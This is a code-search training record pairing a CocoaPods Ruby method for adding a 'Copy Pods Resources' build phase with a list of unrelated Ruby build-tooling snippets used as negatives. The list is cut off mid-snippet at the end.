def add_copy_resources_script_phase unless target.includes_resources? native_targets.each do |native_target| TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target) end return end script_path = target.copy_resources_script_relative_path input_paths_by_config = {} output_paths_by_config = {} if use_input_output_paths target.resource_paths_by_config.each do |config, resource_paths| input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config), target.copy_resources_script_input_files_relative_path) input_paths_by_config[input_paths_key] = [script_path] + resource_paths output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config), target.copy_resources_script_output_files_relative_path) output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths) end end native_targets.each do |native_target| # Static library targets cannot include resources. Skip this phase from being added instead. next if native_target.symbol_type == :static_library TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def resources\n resources = []\n resource_path =\n Pathname.new(@config.project_dir) +\n SUPPORT_FILES +\n \"Pods-#{TARGET_NAME}-resources.sh\"\n\n File.open(resource_path) { |f|\n f.each_line do |line|\n matched = line.match(/install_resource\\s+(.*)/)\n\n next unless matched\n\n path = (matched[1].strip)[1..-2]\n\n path.sub!(\n \"${BUILD_DIR}/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}\",\n \".build\"\n )\n\n next if File.extname(path) == \".framework\"\n\n resources << Pathname.new(@config.project_dir) + PODS_ROOT + path\n end\n }\n resources.uniq\n end", "def include_resources(options={})\n options[:sub_dir] ||= 'resources'\n options[:localization] ||= 'en'\n excluded_files = options[:exclude] || []\n resource_group = target.project.pod_group(@pod_name)\n .groups\n .find{|g| g.display_name == \"Resources\"}\n resource_files = []\n if resource_group\n resource_files = resource_group.files\n .reject{|f| excluded_files.include?(f.display_name)}\n end\n if copy_files?(options)\n copy_resources = create_new_copy_files_build_phase(File.join(dst_path, options[:sub_dir]))\n end\n resource_files.each do |resource|\n if write_xml?(options)\n res_path = File.join(destination, options[:sub_dir], resource.display_name)\n if resource.display_name.end_with?('.lproj')\n if resource.display_name == \"#{options[:localization]}.lproj\"\n resource.real_path.each_child do |localization_file|\n localization_path = File.join(res_path, File.basename(localization_file))\n ios_xml_element.add_element(pod_element('resource-file',\n {'src' => localization_path}))\n end\n end\n else\n ios_xml_element.add_element(pod_element('resource-file', {'src' => res_path}))\n end\n end\n if copy_files?(options)\n copy_resources.add_file_reference(resource)\n end\n end\n end", "def _copy_extra_resources(to_path)\n FileUtils.cp('readme-banner.jpg', to_path)\n FileUtils.cp_r('documentation/resources', to_path)\n end", "def common_build\n copy_gems\n end", "def common_build\n copy_gems\n end", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def maybe_local_pod(name)\n if use_local_sources()\n pod name, :path => '../..'\n end\nend", "def resources_build_phase\n phase = build_phases.find { |bp| bp.class == PBXResourcesBuildPhase }\n unless phase\n phase = project.new(PBXResourcesBuildPhase)\n build_phases << phase\n end\n phase\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def local_pods\n color(32) { puts \"Installing Local Pods...\" }\n pod 'BasicCommons', :path => '../../BasicCommons/'\nend", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def copy_required_project_resources(test_configuration)\n cleanup(test_configuration)\n if test_configuration[:unit]\n # copy main package.json from project directory in order to use it in the unit-test\n # docker container\n parent_directory = File.dirname(File.expand_path('..', __FILE__))\n FileUtils.cp(\"#{parent_directory}/package.json\", \"#{@test_dir}/unit\")\n end\n end", "def install!(update)\n pods_installer.update = update\n pods_installer.installation_options.integrate_targets = false\n pods_installer.install!\n install_resources\n copy_cocoapods_env_and_prefix_headers\n end", "def copy_assets; end", "def new_copy_files_build_phase(name = nil)\n phase = project.new(PBXCopyFilesBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def flutter_macos_podfile_setup; end", "def build_environment_resources(environment, system_exec)\n puts \"Building all required resources for environment '#{environment.environment_name}'\"\n\n if environment.is_drupal_environment?\n build_css_and_js_for_drupal\n environment.create_template_resources\n end\n\n copy_project_dependencies_for_awestruct_image\n build_base_docker_images(environment, system_exec)\n build_environment_docker_images(environment, system_exec)\n\nend", "def common_build\n copy_gems # in make/gems.rb\n end", "def install_plugin_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pluginDir = File.join(relative.to_s, 'Plugins')\n if File.directory?(pluginDir) then\n plugins = Dir.children(pluginDir).each{}\n plugins.map do |r|\n if r != '.DS_Store' then\n podDir = File.join(pluginDir, r)\n pod r, :path => podDir, :nhibit_warnings => true\n puts(r)\n end\n end\n end\nend", "def add_resources\n UI.message '- Adding resources' do\n refs = add_file_accessors_paths_to_pods_group(:resources, :resources, true)\n refs.concat add_file_accessors_paths_to_pods_group(:resource_bundle_files, :resources, true)\n add_known_regions(refs)\n end\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def copy_project_dependencies_for_awestruct_image\n\n puts \"- Copying project dependencies into '_docker/awestruct' for build...\"\n\n parent_gemfile = File.open '../Gemfile'\n parent_gemlock = File.open '../Gemfile.lock'\n\n target_gemfile = FileHelpers.open_or_new('awestruct/Gemfile')\n target_gemlock = FileHelpers.open_or_new('awestruct/Gemfile.lock')\n #Only copy if the file has changed. Otherwise docker won't cache optimally\n FileHelpers.copy_if_changed(parent_gemfile, target_gemfile)\n FileHelpers.copy_if_changed(parent_gemlock, target_gemlock)\n\n puts \"- Successfully copied project dependencies into '_docker/awestruct' for build.\"\n\nend", "def flutter_ios_podfile_setup; end", "def j2objc_shared\n pod 'j2objc-shared-debug', :configuration => ['Debug'], :path => '../shared/build'\n pod 'j2objc-shared-release', :configuration => ['Release'], :path => '../shared/build'\nend", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def install_business_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pod 'FlutterBusiness', :path => relative\nend", "def build_resources( build_also_for_bundle )\n validate\n\n @logger.debug \"Resource dirs for AAPT2 builder: #{@res_dir}\"\n\n flat_list = []\n\n flat_list += compile_res_dir_to_flat(@res_dir)\n\n #Add all resources from maven dependencies\n @maven_deps.res_dirs.each {|d|\n flat_list += compile_res_dir_to_flat(d)\n }\n\n reslist = File.join(@intermediate,'flat.txt')\n File.open( reslist, 'w' ) { |f| f.write flat_list.join(' ') } \n \n\n args_common = [ 'link', \n '-I', @androidjar, \n '--manifest', @manifest, \n '-R', '@'+File.join(reslist),\n '--auto-add-overlay'\n ] \n\n if @no_compress_globs\n @no_compress_globs.each do |ext|\n args_common << '-0'\n args_common << ext\n end\n end\n\n @intermediate_apk = File.join(@intermediate,'output.apk')\n #make a dir to put generated R.java\n rdir = File.join(@intermediate,'rjava')\n mkdir_p (rdir)\n\n args = args_common.clone\n args << '-o'\n args << @intermediate_apk \n args << '--java'\n args << PathToWindowsWay(rdir)\n args << '--output-text-symbols'\n args << PathToWindowsWay(File.join(@rjava_dir, 'R.txt')) \n\n mkdir_p @rjava_dir \n #Finally run link to generate R.java for compiled resources. We need manifest ready at this point\n run_aapt2(args) \n\n #-A option is buggy at least on Windows. It writes \\\\ instead of / to path separators which will affect MANIFEST.MF in target APK and break access to assets\n #So we'll use zip to add assets manually\n #args << \"-A\"\n #args << @assets_dir\n Zip::File.open( @intermediate_apk, create: false ) { |z|\n root = Pathname.new(@assets_dir)\n Dir[File.join(@assets_dir,'**','*')].select{|f| File.file? f}.each{ |f|\n p = Pathname.new(f)\n z.add( File.join('assets',p.relative_path_from(root)) ,f )\n }\n }\n\n if ( build_also_for_bundle )\n #prepared archive name with protobuf data\n @pbprep = File.join(@intermediate,'output_for_bundle.apk')\n\n args_for_bundle = args_common.clone\n args_for_bundle << '-o'\n args_for_bundle << @pbprep \n args_for_bundle << '--proto-format' \n run_aapt2(args_for_bundle) \n end\n \n #We don't really care of package name and relative path where R.java is located\n #We just need to put generated R.java to specified @rjava_dir, so let's just find generated R.java and put it to target dir\n Dir[ File.join(rdir,'**','R.java') ].each { |f|\n cp_r( f, @rjava_dir )\n } \n end", "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def install!\n refresh_file_accessors\n prepare_pod_groups\n add_source_files_references\n add_frameworks_bundles\n add_vendored_libraries\n add_resources\n add_developer_files unless sandbox.development_pods.empty?\n link_headers\n end", "def feature_pods\n ### ONLY FOR DEVELOP PURPOSES ###\n feature_branch = \"develop\" # <- HERE: Change this line to setup ALL the pods repository from another branch WHEN pods_environment = \"develop\"\n ### ONLY FOR DEVELOP PURPOSES ###\n\n color(32) { puts \"Installing Develop Pods from branch: #{feature_branch}\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => \"#{feature_branch}\"\nend", "def develop_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'develop'\nend", "def copy_extra_resources(config)\n html_resources_path = config[\"output\"]\n _copy_extra_resources(html_resources_path)\n\n docset_resources_path = docset_resources_path(config)\n if docset_resources_path.length > 0\n _copy_extra_resources(docset_resources_path)\n end\n end", "def prepare_react_native_project!\n # Temporary solution to suppress duplicated GUID error.\n # Can be removed once we move to generate files outside pod install.\n install! 'cocoapods', :deterministic_uuids => false\n\n ReactNativePodsUtils.create_xcode_env_if_missing\nend", "def master_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\nend", "def feature_pods\n ### ONLY FOR DEVELOP PURPOSES ###\n feature_branch = \"master\" # <- HERE: Change this line to setup ALL the pods repository from another branch WHEN pods_environment = \"develop\"\n ### ONLY FOR DEVELOP PURPOSES ###\n\n color(32) { puts \"Installing Develop Pods from branch: #{feature_branch}\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => \"#{feature_branch}\"\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => \"#{feature_branch}\"\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => \"#{feature_branch}\"\nend", "def copy_initializer\n template 'k8s/tests_job.yaml', \"k8s/#{app_name}_tests_job.yaml\"\n template 'k8s/deployment.yaml', \"k8s/#{app_name}_deployment.yaml\"\n template 'k8s/service.yaml', \"k8s/#{app_name}_service.yaml\"\n template 'k8s/setup_job.yaml', \"k8s/#{app_name}_setup_job.yaml\"\n template 'Jenkinsfile', \"Jenkinsfile\"\n template \"Dockerfile.#{docker_base}\", \"Dockerfile\"\n template \"Dockerfile.test.#{docker_base}\", \"Dockerfile.test\"\n template 'database.yml.prod', \"database.yml.prod\"\n template 'database.yml.test', \"database.yml.test\"\n end", "def local_pods\n color(32) { puts \"Installing Local Pods...\" }\n pod 'BasicCommons', :path => '../BasicCommons/'\n pod 'BasicUIElements', :path => '../BasicUIElements/'\n pod 'CuotasModule', :path => '../CuotasModule/'\nend", "def add_post_deploy_resources\n if new_resource.precompile_assets\n app_local = app\n username = user_username\n ruby_block 'precompile assests' do\n block do\n require 'bundler'\n bundle_precompile_command = \"sudo su - #{username} -c 'cd #{app_local.release_path} \"\\\n \"&& source ./.env && #{app_local.bundle_binary} exec rake #{new_resource.precompile_command}'\"\n\n Bundler.clean_system(bundle_precompile_command)\n raise('Bundle pre-compile failed') unless $CHILD_STATUS.exitstatus.zero?\n end\n action :nothing\n subscribes :run, \"deploy_revision[#{new_resource.name}]\", :immediate\n end\n end\n\n super\n end", "def generate_pods_project\n stage_sandbox(sandbox, pod_targets)\n\n cache_analysis_result = analyze_project_cache\n pod_targets_to_generate = cache_analysis_result.pod_targets_to_generate\n aggregate_targets_to_generate = cache_analysis_result.aggregate_targets_to_generate\n\n pod_targets_to_generate.each do |pod_target|\n pod_target.build_headers.implode_path!(pod_target.headers_sandbox)\n sandbox.public_headers.implode_path!(pod_target.headers_sandbox)\n end\n\n create_and_save_projects(pod_targets_to_generate, aggregate_targets_to_generate,\n cache_analysis_result.build_configurations, cache_analysis_result.project_object_version)\n SandboxDirCleaner.new(sandbox, pod_targets, aggregate_targets).clean!\n\n update_project_cache(cache_analysis_result, target_installation_results)\n end", "def cp_gem(name, repo_name, branch = 'master', path: false)\n return gem name if SKIP_UNRELEASED_VERSIONS\n opts = if path\n { :path => \"../#{repo_name}\" }\n else\n url = \"https://github.com/CocoaPods/#{repo_name}.git\"\n { :git => url, :branch => branch }\n end\n gem name, opts\nend", "def cp_gem(name, repo_name, branch = 'master', path: false)\n return gem name if SKIP_UNRELEASED_VERSIONS\n opts = if path\n { :path => \"../#{repo_name}\" }\n else\n url = 